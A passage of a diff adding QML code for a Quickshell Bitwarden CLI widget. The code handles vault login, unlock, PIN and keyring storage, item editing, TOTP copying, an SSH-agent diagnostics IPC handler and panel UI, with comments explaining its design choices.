A managed Process rather than execDetached, so it + // exits with the shell instead of outliving it. + Process { + id: generateServeProc + command: Model.generateServeCommand() + environment: root.generatorServeEnv() + onExited: function(exitCode) { + generateServePoll.stop() + var act = Model.generatorServeExitAction({ + stopping: root.generateServeStopping, + wasReady: root.generateServeReady, + busy: root.genBusy, + onGeneratorScreen: root.currentScreen === "generator" + }) + root.generateServeStarting = false + root.generateServeReady = false + root.generateServeStopping = false + if (act.giveUp) root.generateServeFailed = true + if (act.dropValue) root.genValue = "" + if (act.useCli) root.regenerateViaCli() + } + } + + Process { + id: generateServeRequestProc + stdout: StdioCollector { id: generateServeRequestStdout; waitForEnd: true } + stderr: StdioCollector { id: generateServeRequestStderr; waitForEnd: true } + onExited: function(exitCode) { + if (root.finishScrubRun(generateServeRequestProc)) { + root.resumePendingGeneratorRequest() + return + } + var stopped = root.generateServeRequestStopping + root.generateServeRequestStopping = false + var cb = root.generateServeRequestCallback + root.generateServeRequestCallback = null + if (root.resumePendingGeneratorRequest()) return + if (stopped) return + if (cb) cb(exitCode, generateServeRequestStdout.text, generateServeRequestStderr.text) + } + } + + Timer { + id: generateServePoll + property int attempts: 0 + interval: 250 + repeat: true + onTriggered: { + attempts++ + if (attempts > 40) { // 10s, well past bw's usual couple of seconds + stop() + root.generateServeStarting = false + root.generateServeFailed = true + if (root.genBusy) root.regenerateViaCli() + return + } + root.pollGeneratorServe() + } + } + + // ---- PIN unlock ---- + // + // PIN and master password are handed over in the environment; encrypt-and-store + // and lookup-and-decrypt each run inside one process, so the plaintext never + // travels back through QML on its way to or from the keyring. + + Process { + id: pinStoreProc + command: Model.pinStoreCommand() + environment: root.pinEnv(root.pinSetupPin, root.pinSetupMaster) + onExited: function(exitCode) { + root.onPinStored(exitCode) + if (root.logoutPending && root.allCredentialsClearPending) + Qt.callLater(root.requestAllCredentialClear) + } + } + + Process { + id: pinUnlockProc + command: Model.pinUnlockCommand() + environment: root.pinEnv(root.pinEntry, "") + stdout: StdioCollector { id: pinUnlockStdout; waitForEnd: true } + onExited: function(exitCode) { + if (root.finishScrubRun(pinUnlockProc)) return + root.onPinUnlockResult(exitCode, pinUnlockStdout.text) + } + } + + Process { + id: keyringHasPinProc + command: Model.keyringHasPinCommand() + stdout: StdioCollector { + waitForEnd: true + onStreamFinished: root.onPinConfiguredChecked(text) + } + } + + Process { + id: keyringClearPinProc + command: Model.keyringClearPinCommand() + onExited: function(exitCode) { + if (root.pinClearPending) Qt.callLater(root.requestPinCredentialClear) + } + } + + Process { + id: depsCheckProc + command: Model.dependencyCheckCommand() + stdout: StdioCollector { + waitForEnd: true + onStreamFinished: root.onDependenciesChecked(text) + } + } + + // An install runs in a terminal this panel does not own, so there is nothing + // to wait on and no exit code to hear about. Re-probing while the setup + // screen is up is what closes that loop: the moment `bw` lands on PATH the + // screen turns green and onDependenciesChecked moves on to the vault, with + // no second visit to a Re-check button. Only while the panel is open and + // only on that screen, so it costs nothing the rest of the time. + Timer { + id: setupPollTimer + interval: 2500 + running: root.opened && root.currentScreen === "setup" && root.setupActionsPending + repeat: true + onTriggered: root.checkDependencies() + } + + // The whole first paint now waits behind the dependency probe. If that probe + // never reports -- a shell that will not start, a mangled PATH -- the vault + // should still be reachable instead of the panel sitting on "checking" + // forever, so the status probe goes ahead on its own after a few seconds. + Timer { + id: statusProbeFallbackTimer + interval: 4000 + running: !root.statusProbeStarted + repeat: false + onTriggered: { + if (root.statusProbeStarted || root.setupGated) return + // Four seconds of silence from a probe that takes milliseconds means it + // is not coming. Treating that as "checked, nothing missing" is what + // gets past refreshStatus()'s own !depsChecked guard -- an unanswered + // probe must not be the thing that keeps the vault out of reach. + root.depsChecked = true + root.refreshStatus() + } + } + + Process { + id: settingWriteProc + stderr: StdioCollector { + id: settingWriteStderr + waitForEnd: true + } + onExited: function(exitCode) { + if (exitCode !== 0) { + root.settingsFlash = "" + root.errorMessage = (settingWriteStderr.text || "").trim() || "Could not save setting to shell.json" + } + } + } + + Timer { + id: settingsFlashTimer + interval: 1600 + onTriggered: root.settingsFlash = "" + } + + Process { + id: keyringHasMasterProc + command: Model.keyringHasMasterPasswordCommand() + stdout: StdioCollector { + waitForEnd: true + onStreamFinished: root.onFingerprintStoredChecked(text) + } + } + + Process { + id: keyringStoreMasterProc + command: Model.keyringStoreMasterPasswordCommand() + environment: root.secretEnv(root.masterToStore) + onExited: function(exitCode) { + root.onMasterPasswordStored(exitCode) + if (root.logoutPending && root.allCredentialsClearPending) + Qt.callLater(root.requestAllCredentialClear) + } + } + + Process { + id: keyringLookupMasterProc + command: Model.keyringLookupMasterPasswordCommand() + stdout: StdioCollector { + id: keyringLookupMasterStdout + waitForEnd: true + } + onExited: function(exitCode) { + if (root.finishScrubRun(keyringLookupMasterProc)) return + if (exitCode === 0) { + root.onFingerprintPasswordRetrieved(keyringLookupMasterStdout.text) + } else { + root.fingerprintAuthorized = false + root.fingerprintStored = false + root.fingerprintMessage = "Stored master password unavailable. Use your password." + } + } + } + + Process { + id: keyringClearMasterProc + command: Model.keyringClearMasterPasswordCommand() + onExited: function(exitCode) { + if (root.masterClearPending) Qt.callLater(root.requestMasterCredentialClear) + } + } + + // Logout's clean sweep; see forgetStoredCredentials(). + Process { + id: keyringClearAllProc + command: Model.keyringClearAllCommand() + onExited: function(exitCode) { + if (root.allCredentialsClearPending) { + Qt.callLater(root.requestAllCredentialClear) + return + } + root.onLogoutCredentialsFinished(exitCode) + } + } + + // ---- Learned associations ---- + + Process { + id: associationsReadProc + command: Model.associationsReadCommand() + stdout: StdioCollector { + waitForEnd: true + onStreamFinished: { + if (root.finishScrubRun(associationsReadProc)) return + root.onAssociationsLoaded(text) + } + } + } + + Process { + id: associationsWriteProc + command: Model.associationsWriteCommand() + environment: root.associationsEnv() + onExited: function(exitCode) { + if (root.associationsClearPending) { + root.associationsClearPending = false + root.associationsWritePending = false + root.pendingAssociationsJson = "" + associationsClearProc.running = true + return + } + if (exitCode !== 0) { + console.warn("qs-bitwarden-cli: could not save learned suggestions (exit " + exitCode + ")") + } + if (root.associationsWritePending) { + root.associationsWritePending = false + associationsWriteProc.running = true + return + } + root.pendingAssociationsJson = "" + } + } + + Process { + id: associationsClearProc + command: Model.associationsClearCommand() + } + + PamContext { + id: fingerprintPam + config: "omarchy-lock-fingerprint" + user: root.userName + + onCompleted: function(result) { + root.onFingerprintResult(result) + } + + onError: function(error) { + root.fingerprintScanning = false + root.fingerprintAuthorized = false + root.fingerprintMessage = "Fingerprint verification unavailable" + } + } + + // Polls rather than counting down, for the same reason the auto-lock does: + // a monotonic timer stops while the machine is suspended, and a login left + // pending across a lid close must expire on the time that actually passed. + Timer { + id: pendingLoginTimer + interval: 1000 + repeat: true + running: root.secondFactorStartedAt > 0 + onTriggered: { + if (!Model.secondFactorWindowOpen(root.secondFactorStartedAt, Date.now())) { + root.abandonAuthSecrets() + } + } + } + + Process { + id: loginProc + environment: root.loginProcessEnv() + stdout: StdioCollector { + id: loginStdout + waitForEnd: true + } + stderr: StdioCollector { + id: loginStderr + waitForEnd: true + } + onExited: function(exitCode) { + // A scrub is started from this same handler and claims the process for a + // moment, so a submit arriving in that moment waits on the scrub's exit + // rather than the login's. Returning here without dispatching used to + // drop that submit on the floor -- the click did nothing at all, and the + // one after it worked because by then nothing held the process. That was + // "I had to press Verify twice". + if (root.finishScrubRun(loginProc)) { + if (!root.loginSubmitted) root.resumeDeferredLogin(false) + return + } + if (!root.loginSubmitted) { + root.resumeDeferredLogin(true) + return + } + root.loginSubmitted = false + root.onLoginOutput(loginStdout.text, loginStderr.text, exitCode) + } + } + + Process { + id: authPasswordWriterProc + environment: root.authEnv(root.authPasswordWriteValue, "", "", "") + onExited: function(exitCode) { root.onAuthPasswordWriterExited(exitCode) } + } + + Process { + id: unlockProc + command: Model.unlockPrewarmCommand() + environment: root.authEnv("", "", "", "") + stdout: StdioCollector { + id: unlockStdout + waitForEnd: true + } + stderr: StdioCollector { + id: unlockStderr + waitForEnd: true + } + onExited: function(exitCode) { + if (root.finishScrubRun(unlockProc)) { + if (root.sshAuthSurfaceActive && root.status === "locked") Qt.callLater(root.prepareUnlock) + return + } + if (!root.unlockSubmitted) { + root.clearProcessCollectorSoon(unlockProc) + return + } + root.unlockSubmitted = false + root.onUnlockOutput(unlockStdout.text, unlockStderr.text, exitCode) + } + } + + Process { + id: logoutProc + environment: root.bwEnv() + onExited: function(exitCode) { root.onLogoutCliFinished(exitCode) } + } + + Process { + id: listProc + environment: root.bwEnv() + stdout: StdioCollector { + id: listStdout + waitForEnd: true + } + stderr: StdioCollector { + id: listStderr + waitForEnd: true + } + onExited: function(exitCode) { + root.onListProcessExited(exitCode, listStdout.text, listStderr.text) + } + } + + Process { + id: listOrgsProc + environment: root.bwEnv() + stdout: StdioCollector { + id: listOrgsStdout + waitForEnd: true + } + onExited: function(exitCode) { + if (root.finishScrubRun(listOrgsProc)) return + if (exitCode === 0) root.onListOrgsFinished(listOrgsStdout.text) + } + } + + Process { + id: getItemProc + environment: root.bwEnv() + stdout: StdioCollector { + id: getItemStdout + waitForEnd: true + } + stderr: StdioCollector { + id: getItemStderr + waitForEnd: true + } + onExited: function(exitCode) { + if (root.finishScrubRun(getItemProc)) return + if (exitCode === 0) { + root.onDetailFinished(getItemStdout.text) + } else { + root.isLoading = false + if (!root.vaultReadIsStale("detail")) { + root.errorMessage = String(getItemStderr.text || "").trim() || "Could not load item details" + } + } + } + } + + Process { + id: getTotpProc + environment: root.bwEnv() + stdout: StdioCollector { + id: getTotpStdout + waitForEnd: true + } + onExited: function(exitCode) { + if (root.finishScrubRun(getTotpProc)) { + root.continueTotpQueue(true) + return + } + root.onTotpProcessExited(exitCode, getTotpStdout.text) + } + } + + Process { + id: copyPasswordProc + environment: root.bwEnv() + stdout: StdioCollector { id: copyPasswordStdout; waitForEnd: true } + onExited: function(exitCode) { + if (root.finishScrubRun(copyPasswordProc)) return + root.onPasswordCopyFinished(exitCode, copyPasswordStdout.text) + } + } + + Process { + id: activeWindowProc + command: Model.activeWindowCommand() + stdout: StdioCollector { + waitForEnd: true + onStreamFinished: { + if (text && text.trim()) { + try { + var data = JSON.parse(text) + root.handleActiveWindowDetected(data) + } catch (e) { + root.suggestedItems = [] + root.detectedContext = null + } + } + } + } + } + + Process { + id: createItemProc + environment: root.itemEnv() + stdout: StdioCollector { id: createItemStdout; waitForEnd: true } + stderr: StdioCollector { id: createItemStderr; waitForEnd: true } + onExited: function(exitCode) { + if (root.finishScrubRun(createItemProc)) return + root.itemPayloadJson = "" + root.onSaveItemFinished(exitCode, createItemStdout.text, createItemStderr.text) + } + } + + Process { + id: editItemProc + environment: root.itemEnv() + stdout: StdioCollector { id: editItemStdout; waitForEnd: true } + stderr: StdioCollector { id: editItemStderr; waitForEnd: true } + onExited: function(exitCode) { + if (root.finishScrubRun(editItemProc)) return + root.itemPayloadJson = "" + root.onSaveItemFinished(exitCode, editItemStdout.text, editItemStderr.text) + } + } + + Process { + id: deleteItemProc + environment: root.bwEnv() + stdout: StdioCollector { id: deleteItemStdout; waitForEnd: true } + stderr: StdioCollector { id: deleteItemStderr; waitForEnd: true } + onExited: function(exitCode) { + if (root.finishScrubRun(deleteItemProc)) return + root.onDeleteItemFinished(exitCode, deleteItemStdout.text, deleteItemStderr.text) + } + } + + Process { + id: syncProc + environment: root.bwEnv() + onExited: function(exitCode) { + root.onSyncFinished(exitCode) + } + } + + Process { + id: lockProc + environment: root.bwEnv() + } + + // ------------------------------------------------------------------------- + // IPC Handler + // ------------------------------------------------------------------------- + + IpcHandler { + target: "io.github.elevate08.qs-bitwarden-cli" + function open(): void { root.open() } + function close(): void { root.close() } + function toggle(): void { root.toggle() } + function lock(): string { root.lockVault(); return "locked" } + function settings(): string { root.open(); root.openSettings(); return "settings" } + function setup(): string { + root.open() + root.setupDismissed = false + root.checkDependencies() + root.currentScreen = "setup" + return "setup" + } + function sync(): string { root.syncVault(); return "syncing" } + function status(): string { return root.status } + // Non-secret diagnostics for the SSH agent. No key material, no + // fingerprints, no process paths -- just enough to tell why a signature + // was or was not answered. + function sshAgentStatus(): string { + return JSON.stringify({ + enabled: root.sshAgentEnabled, + phase: root.sshAgentPhase, + // Named for what it is: the control channel to the helper is up and + // handshaked. It is not "signing is allowed" -- that is the vault + // state below, and reading this as the former is misleading next to a + // locked vault. + helperChannelOpen: root.sshAgentGateOpen, + vaultState: Model.sshAgentVaultState({ + enabled: root.sshAgentEnabled, + helperReady: root.sshAgentGateOpen, + loggedIn: root.status !== "unauthenticated", + unlocked: root.status === "unlocked", + loading: root.sshAgentLoadActive, + hasPublicCache: root.sshAgentKeyCount > 0 + }), + setupState: root.sshAgentSetup.state, + // Which binary is actually running, and whether its digest was + // checked. A shipped helper and a silently substituted development + // build behave identically until one of them misbehaves, and without + // these two fields the terminal cannot tell them apart at all. + helperSource: root.sshAgentHelper.source, + helperChecksum: root.sshAgentHelper.checksum, + // Why inspection rejected it, in the inspector's own vocabulary: + // checksum-mismatch, not-elf, wrong-architecture, not-executable, + // self-test-failed. errorCode covers the running helper and stays + // empty for all of these, so without this the terminal is told the + // feature is in error and never told what the error was. + helperState: root.sshAgentHelper.state, + // What the panel believes about client routing: the file it last + // inspected, and whether that produced a notice. Both are read from + // the same state the settings screen draws, so a disagreement between + // this and the screen is itself the answer. + routingFragment: root.uwsmFragment.state, + routingNotice: root.sshRoutingNotice.text !== "", + errorCode: root.sshAgentErrorCode, + keyCount: root.sshAgentKeyCount, + loadActive: root.sshAgentLoadActive, + epoch: root.sshAgentEpoch, + promptShowing: root.sshPrompt !== null, + unlockShowing: root.sshUnlockRequest !== null, + grants: root.sshGrants.length, + screenLocked: root.screenIsLocked, + screenLockAgeMs: root.screenLockCheckedAt > 0 ? Math.round(Date.now() - root.screenLockCheckedAt) : -1, + mayPrompt: root.sshAgentMayPrompt(), + cooldownRefusals: root.sshCooldown ? root.sshCooldown.refusals : 0, + cooldownActive: Model.sshAgentCooldownActive(root.sshCooldown, Date.now()) + }) + } + } + + Component { + id: shieldIconComp + + Item { + anchors.fill: parent + + // Constant Base Shield + TextMetrics { + id: shieldGlyphMetrics + font.family: root.fontFamily + font.pixelSize: Style.bar.iconFont + text: "󰞀" + } + + Text { + textFormat: Text.PlainText + id: shieldGlyph + // The centering below is what holds the glyph on the same logical + // centerline as the bar's panel-open indicator; the renderer does not + // enter into it. Measured at scale 1.3333, QtRendering and + // NativeRendering put the painted center on the same pixel -- but + // QtRendering came out with saturated colour on the glyph edges, blue + // down one side and gold down the other, which no other icon in the bar + // has. So this matches what Omarchy uses everywhere else + // (Ui/OpticalGlyph.qml, Ui/WidgetButton.qml) and the plugin's own lock + // and install badges below. + anchors.centerIn: parent + anchors.horizontalCenterOffset: shieldGlyph.implicitWidth / 2 + - (shieldGlyphMetrics.tightBoundingRect.x + + shieldGlyphMetrics.tightBoundingRect.width / 2) + text: "󰞀" + font.family: root.fontFamily + font.pixelSize: Style.bar.iconFont + color: root.colorizeIcon ? Color.accent : (bar ? bar.barForeground : Color.foreground) + renderType: Text.NativeRendering + } + + // Mini Install Badge in the same corner while a required tool is absent. + // A freshly installed widget has to say "click me, there is one step + // left" rather than sit there looking like it failed, so this outranks + // the padlock: with no `bw` there is no lock state worth reporting. + Item { + visible: root.missingRequired.length > 0 + anchors.right: parent.right + anchors.bottom: parent.bottom + anchors.rightMargin: -Style.space(2) + anchors.bottomMargin: -Style.space(2) + width: Style.space(10) + height: Style.space(10) + + Rectangle { + anchors.fill: parent + radius: width / 2 + color: bar ? bar.background : Color.background + } + + Text { + textFormat: Text.PlainText + anchors.centerIn: parent + text: "󰐕" + font.family: root.fontFamily + font.pixelSize: Style.space(8) + color: bar ? bar.urgent : Color.urgent + renderType: Text.NativeRendering + } + } + + // Mini Padlock Badge in Bottom-Right Corner when locked + Item { + visible: root.status === "locked" && root.missingRequired.length === 0 + anchors.right: parent.right + anchors.bottom: parent.bottom + anchors.rightMargin: -Style.space(2) + anchors.bottomMargin: -Style.space(2) + width: Style.space(10) + height: Style.space(10) + + Rectangle { + anchors.fill: parent + radius: width / 2 + color: bar ? bar.background : Color.background + } + + Text { + textFormat: Text.PlainText + anchors.centerIn: parent + text: "󰌾" + font.family: root.fontFamily + font.pixelSize: Style.space(8) + color: bar ? bar.barForeground : Color.foreground + renderType: Text.NativeRendering + } + } + } + } + + // ------------------------------------------------------------------------- + // Status Bar Button + // ------------------------------------------------------------------------- + + BarIconButton { + id: button + anchors.fill: parent + bar: root.bar + iconComponent: shieldIconComp + useActiveColor: false + dimmed: root.status === "unauthenticated" || root.status === "checking" + tooltipText: { + // Ahead of every status: with a required tool missing, whatever `bw` + // last said about the vault is beside the point. + if (root.missingRequired.length > 0) { + return "Bitwarden (Click to finish setup)" + } + if (root.status === "unlocked") { + return "Bitwarden (" + (root.items.length > 0 ? root.items.length + " items" : "Unlocked") + ")" + } + if (root.status === "locked") { + return "Bitwarden (Locked)" + } + return "Bitwarden (Not Logged In)" + } + onPressed: function(buttonCode) { + if (buttonCode === Qt.RightButton) { + if (root.status === "unlocked") root.lockVault() + else root.open() + } else if (buttonCode === Qt.MiddleButton) { + root.syncVault() + } else { + root.toggle() + } + } + } + + // ------------------------------------------------------------------------- + // Popup Window (KeyboardPanel) + // ------------------------------------------------------------------------- + + SshApprovalPopup { + panel: root + anchorItem: button + } + + KeyboardPanel { + id: panel + anchorItem: button + owner: root + bar: root.bar + open: root.opened + // Every unlocked screen except the two that are text entry drives the key + // catcher, so arrow navigation works on settings and the generator too. + // Setup is buttons, not text entry, and it is reached with the vault state + // still unknown -- so it takes the key catcher outright rather than + // handing focus to a password field that is not even on screen. + focusTarget: root.currentScreen === "setup" + ? keyCatcher + : ((root.status === "unlocked" + && root.currentScreen !== "edit" + && root.currentScreen !== "pin" + && root.currentScreen !== "fingerprint") + ? keyCatcher + : (root.status === "unauthenticated" + ? (root.show2faField ? code2faField : emailField) + : passField)) + contentWidth: panel.fittedContentWidth(Style.space(450)) + contentHeight: panel.fittedContentHeight(mainColumn.implicitHeight, Style.space(640) + root.filterDrawerHeight) + + // PanelKeyCatcher maps h/j/k/l to arrow navigation and consumes them before + // its textKey signal fires, which silently swallowed the l (lock) shortcut. + // Forwarding here first gives our letter bindings the first look; anything + // we do not accept falls through to the catcher's own navigation. + Item { + id: shortcutInterceptor + Keys.onPressed: function(event) { + // Escape is handled here rather than in the key catcher because the + // catcher is blocked on every screen built around a text field -- the + // item form, the PIN and fingerprint screens, the Send composer -- + // and a blocked catcher swallows Escape along with everything else. + // This interceptor runs first and is not gated by `blocked`, so + // cancelling out of a form works while the cursor is in a field. + if (event.key === Qt.Key_Escape && !(event.modifiers & ~Qt.KeypadModifier)) { + root.handleEscape() + event.accepted = true + return + } + + // Alt may arrive with no text depending on the keymap, so fall back to + // the key code for A-Z. + var t = event.text ? String(event.text).toLowerCase() : "" + if (!t && event.key >= Qt.Key_A && event.key <= Qt.Key_Z) { + t = String.fromCharCode(event.key).toLowerCase() + } + + if (event.modifiers & Qt.AltModifier) { + if (t && root.status === "unlocked" && root.runAltShortcut(t)) event.accepted = true + return + } + + if (event.modifiers & ~Qt.KeypadModifier) return + if (!t || root.currentScreen !== "main") return + if (root.openFilterGroup !== "") return + if (t !== "h" && t !== "j" && t !== "k" && t !== "l") return + if (root.runShortcut(t)) event.accepted = true + } + } + + PanelKeyCatcher { + id: keyCatcher + anchors.fill: parent + Keys.forwardTo: [shortcutInterceptor] + blocked: searchField.activeFocus + || emailField.activeFocus + || loginPassField.activeFocus + || code2faField.activeFocus + || passField.activeFocus + || pinField.activeFocus + || (root.currentScreen === "edit") + || (root.currentScreen === "pin") + || (root.currentScreen === "fingerprint") + || (root.currentScreen === "sends" && root.sendMode === "create") + + // Reached only on screens where the catcher is not blocked; the + // interceptor handles Escape everywhere else. Same dispatch either way. + onCloseRequested: root.handleEscape() + onTabRequested: function(direction) { + if (root.currentScreen === "main") { + root.cycleCategory(direction) + } else { + root.switchPanel(direction) + } + } + onMoveRequested: function(dx, dy) { + if (root.currentScreen === "sends" && root.sendMode === "list") { + if (dy !== 0) root.moveSendCursor(dy) + return + } + if (root.currentScreen === "settings") { + if (dy !== 0) root.moveSettingsCursor(dy) + else if (dx !== 0) root.adjustSetting(dx) + return + } + // While a filter drawer is open the arrows drive it, not the item list. + if (root.openFilterGroup !== "" && root.currentScreen === "main") { + if (dy !== 0) root.moveFilterCursor(dy) + return + } + if (!root.cursorActive) { + root.cursorActive = true + return + } + if (root.currentScreen === "main") { + if (dy !== 0) root.moveCursor(dy) + else if (dx !== 0) root.cycleCategory(dx) + } + } + onActivateRequested: { + if (root.currentScreen === "generator" && root.generatorFeedsForm) { + root.useGeneratedPassword() + return + } + if (root.currentScreen === "sends" && root.sendMode === "list") { + if (root.sendIndex < root.sends.length) root.copySendLink(root.sends[root.sendIndex]) + return + } + if (root.currentScreen === "settings") { + root.activateSettingRow() + return + } + if (root.openFilterGroup !== "" && root.currentScreen === "main") { + root.activateFilterOption() + return + } + if (root.currentScreen === "main") { + var item = root.getSelectedItem() + if (item) { + root.handleSmartEnter(item) + } + return + } + // The password row has always been labelled "Copy password (y / Enter)" + // and the detail screen has never handled Enter, so that half of the + // tooltip was a promise nothing kept. Enter copies the item's primary + // secret here, the same one `y` reaches: the password on a login, the + // number on a card. A note or an identity has no single such value, so + // Enter stays inert on those rather than guessing at one. + if (root.currentScreen === "detail") { + if (root.detailIsCard) { + if (root.detailCard && root.detailCard.number) { + root.copyToClipboard(root.detailCard.number, "Card number") + } + } else if (root.detailIsLoginLike && root.detailPassword) { + root.copyToClipboard(root.detailPassword, "Password") + } + } + } + onTextKey: function(key) { + var lower = String(key).toLowerCase() + if (root.currentScreen === "sends" && root.sendMode === "list") { + if (lower === "n") root.beginCreateSend() + else if (lower === "r") root.loadSends() + else if (lower === "x" && root.sendIndex < root.sends.length) root.deleteSend(root.sends[root.sendIndex]) + return + } + if (root.currentScreen === "main") { + if (lower === "/") searchField.forceActiveFocus() + else root.runShortcut(lower) + } else if (root.currentScreen === "detail") { + // `y` is "copy the thing this item is for". On a login that is the + // password; on a card it is the number. Keeping one key for the + // primary secret is worth more than a key that means `password` + // everywhere and does nothing on two of the four types. + if (lower === "y" || lower === "p") { + if (root.detailIsCard) { + if (root.detailCard && root.detailCard.number) root.copyToClipboard(root.detailCard.number, "Card number") + } else if (root.detailPassword) { + root.copyToClipboard(root.detailPassword, "Password") + } + } else if (lower === "n") { + if (root.detailIsCard && root.detailCard && root.detailCard.number) { + root.copyToClipboard(root.detailCard.number, "Card number") + } + } else if (lower === "k") { + if (root.detailIsCard && root.detailCard && root.detailCard.code) { + root.copyToClipboard(root.detailCard.code, "Security code") + } + } else if (lower === "u" || lower === "c") { + // `u` copies the identifier, `c` the contact address. On a login + // both land on the one username field, which is what they have + // always done. + if (root.detailIsIdentity && root.detailIdentity) { + if (lower === "c" && root.detailIdentity.email) { + root.copyToClipboard(root.detailIdentity.email, "Email") + } else if (root.detailIdentity.username) { + root.copyToClipboard(root.detailIdentity.username, "Username") + } + } else if (root.detailItem && root.detailItem.username) { + root.copyToClipboard(root.detailItem.username, "Username") + } + } else if (lower === "m") { + if (root.liveTotp) root.copyToClipboard(root.liveTotp, "TOTP") + } else if (lower === "e") { + if (root.detailItem) root.startEditItem(root.detailItem) + } else if (lower === "x") { + if (root.detailItem && root.detailItem.typeCode !== 5) root.showDeleteConfirm = true + } else if (lower === "v") { + if (root.primaryRevealKey !== "") root.toggleFieldReveal(root.primaryRevealKey) + } else if (lower === "a") { + root.saveAllAttachments() + } else if (lower === "b" || lower === "q") { + root.currentScreen = "main" + } + } + } + + Column { + id: mainColumn + anchors.fill: parent + spacing: Style.space(12) + + // ------------------------------------------------------------------- + // Hero Header + // ------------------------------------------------------------------- + PanelHero { + width: parent.width + title: "Bitwarden" + meta: { + if (root.status === "unlocked") { + if (root.isSyncing) return "Syncing..." + if (root.isLoading && root.items.length === 0) return "Loading items..." + // The email arrives with `bw status`, which lags the item list on + // a cold start and after a terminal-login handoff. Fall back to + // the count so the subtitle is never blank in that gap. + return root.userEmail || (root.filteredItems.length + " items") + } + if (root.status === "locked") return "Vault Locked" + if (root.status === "checking") return "Checking status..." + return "Log In" + } + foreground: root.fg + fontFamily: root.fontFamily + + iconComponent: Text { + textFormat: Text.PlainText + text: "󰞀" + color: root.barIconColor + font.family: root.fontFamily + font.pixelSize: Style.font.display + } + + trailingControl: Row { + spacing: Style.space(6) + + // New Item Button + PanelActionButton { + visible: root.status === "unlocked" && root.activeScreen === "main" + iconText: "󰐕" + tooltipText: "New item (n)" + fontFamily: root.fontFamily + onClicked: root.startAddNewItem() + } + + // Sync Vault Button + PanelActionButton { + visible: root.status === "unlocked" + iconText: "󰑐" + tooltipText: root.isSyncing ? "Syncing..." : "Sync vault (r)" + fontFamily: root.fontFamily + enabled: !root.isSyncing + onClicked: root.syncVault() + } + + // Send Button + PanelActionButton { + visible: root.status === "unlocked" && root.activeScreen !== "sends" + iconText: "󰒗" + tooltipText: "Bitwarden Send (Alt+S)" + fontFamily: root.fontFamily + onClicked: root.openSends() + } + + // Generator Button + PanelActionButton { + visible: root.status === "unlocked" && root.activeScreen !== "generator" + iconText: "󰌆" + tooltipText: "Password generator (g)" + fontFamily: root.fontFamily + onClicked: root.openGenerator() + } + + // Settings Button + PanelActionButton { + visible: root.activeScreen !== "settings" && root.activeScreen !== "setup" && root.activeScreen !== "pin" + iconText: "󰒓" + tooltipText: "Settings (s)" + fontFamily: root.fontFamily + onClicked: root.openSettings() + } + + // Lock Vault Button + PanelActionButton { + visible: root.status === "unlocked" + iconText: "󰌾" + tooltipText: "Lock vault (l)" + fontFamily: root.fontFamily + onClicked: root.lockVault() + } + + // Close Panel Button + PanelActionButton { + iconText: "󰅖" + tooltipText: "Close (Esc)" + fontFamily: root.fontFamily + onClicked: root.close() + } + } + } + + // ------------------------------------------------------------------- + // Sequential TOTP Follow-Up Action Banner + // ------------------------------------------------------------------- + BorderSurface { + visible: root.totpFollowupActive && root.totpFollowupItem !== null + width: parent.width + implicitHeight: Style.space(42) + color: Util.alpha(Color.accent, 0.2) + radius: Style.cornerRadius + borderSpec: Border.surfaceSpec("menu", "border", Color.accent, 1) + + Row { + anchors.fill: parent + anchors.leftMargin: Style.space(10) + anchors.rightMargin: Style.space(10) + spacing: Style.space(8) + + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + text: "󰄬" + color: Color.accent + font.family: root.fontFamily + font.pixelSize: Style.font.body + } + + Column { + anchors.verticalCenter: parent.verticalCenter + width: parent.width - copyFollowupTotpBtn.width - Style.space(40) + spacing: 1 + + Text { + textFormat: Text.PlainText + text: "Password copied! Press Enter for TOTP" + color: root.fg + font.family: root.fontFamily + font.pixelSize: Style.font.bodySmall + font.bold: true + } + + Text { + textFormat: Text.PlainText + text: root.totpFollowupCode ? ("Code: " + root.totpFollowupCode + " (expires in " + root.totpSecRemaining + "s)") : "Fetching 2FA code..." + color: Color.accent + font.family: root.fontFamily + font.pixelSize: Style.font.caption + } + } + + Button { + id: copyFollowupTotpBtn + anchors.verticalCenter: parent.verticalCenter + text: "Copy TOTP (Enter)" + selected: true + accent: Color.accent + fontFamily: root.fontFamily + fontSize: Style.font.caption + onClicked: { + if (root.totpFollowupItem) root.copyTotpCode(root.totpFollowupItem) + root.totpFollowupActive = false + } + } + } + } + + // ------------------------------------------------------------------- + // Development Helper Banner + // ------------------------------------------------------------------- + // The shipped helper is what a user installed and what CI verified. + // Falling back to a local build is deliberate -- a broken release must + // not strand a working one -- but it is a state you can sit in for + // days without noticing, signing with a binary nobody checked. The + // settings screen says so in passing; this says so wherever you are. + BorderSurface { + visible: root.sshAgentHelper.source === "development" && root.activeScreen !== "settings" + width: parent.width + implicitHeight: sshDevHelperText.implicitHeight + Style.space(12) + color: Util.alpha(Color.urgent, 0.15) + radius: Style.cornerRadius + borderSpec: Border.surfaceSpec("menu", "border", Color.urgent, 1) + + Row { + anchors.centerIn: parent + width: parent.width - Style.space(16) + spacing: Style.space(8) + Text { + textFormat: Text.PlainText + text: "󰀪" + color: Color.urgent + font.family: root.fontFamily + font.pixelSize: Style.font.body + } + Text { + textFormat: Text.PlainText + id: sshDevHelperText + text: Model.sshAgentDevelopmentHelperWarning(root.sshAgentHelper) + color: root.fg + font.family: root.fontFamily + font.pixelSize: Style.font.bodySmall + wrapMode: Text.Wrap + width: parent.width - Style.space(24) + } + } + } + + // ------------------------------------------------------------------- + // SSH Signing Cooldown Banner + // ------------------------------------------------------------------- + // A five-minute signing outage is not noticed on the SSH agent + // settings screen: the requests it refuses arrive while the panel is + // showing something else, or while the vault is locked and no prompt + // can be raised at all. So the explanation lives on every screen, + // and carries the only control that ends the cooldown early -- an + // approval cannot, because there is no prompt left to approve. + BorderSurface { + visible: root.sshCooldownStatus.active + width: parent.width + implicitHeight: sshCooldownBannerBody.implicitHeight + Style.space(12) + color: Util.alpha(Color.urgent, 0.15) + radius: Style.cornerRadius + borderSpec: Border.surfaceSpec("menu", "border", Color.urgent, 1) + + Row { + anchors.centerIn: parent + width: parent.width - Style.space(16) + spacing: Style.space(8) + Text { + textFormat: Text.PlainText + text: "󰀪" + color: Color.urgent + font.family: root.fontFamily + font.pixelSize: Style.font.body + } + Column { + id: sshCooldownBannerBody + width: parent.width - Style.space(24) + spacing: Style.space(8) + + Text { + textFormat: Text.PlainText + id: sshCooldownBannerText + text: root.sshCooldownStatus.message + color: root.fg + font.family: root.fontFamily + font.pixelSize: Style.font.bodySmall + wrapMode: Text.Wrap + width: parent.width + } + + Button { + text: "Resume Signing Now" + iconText: "󰐊" + tooltipText: "End the cooldown; the next signing request asks 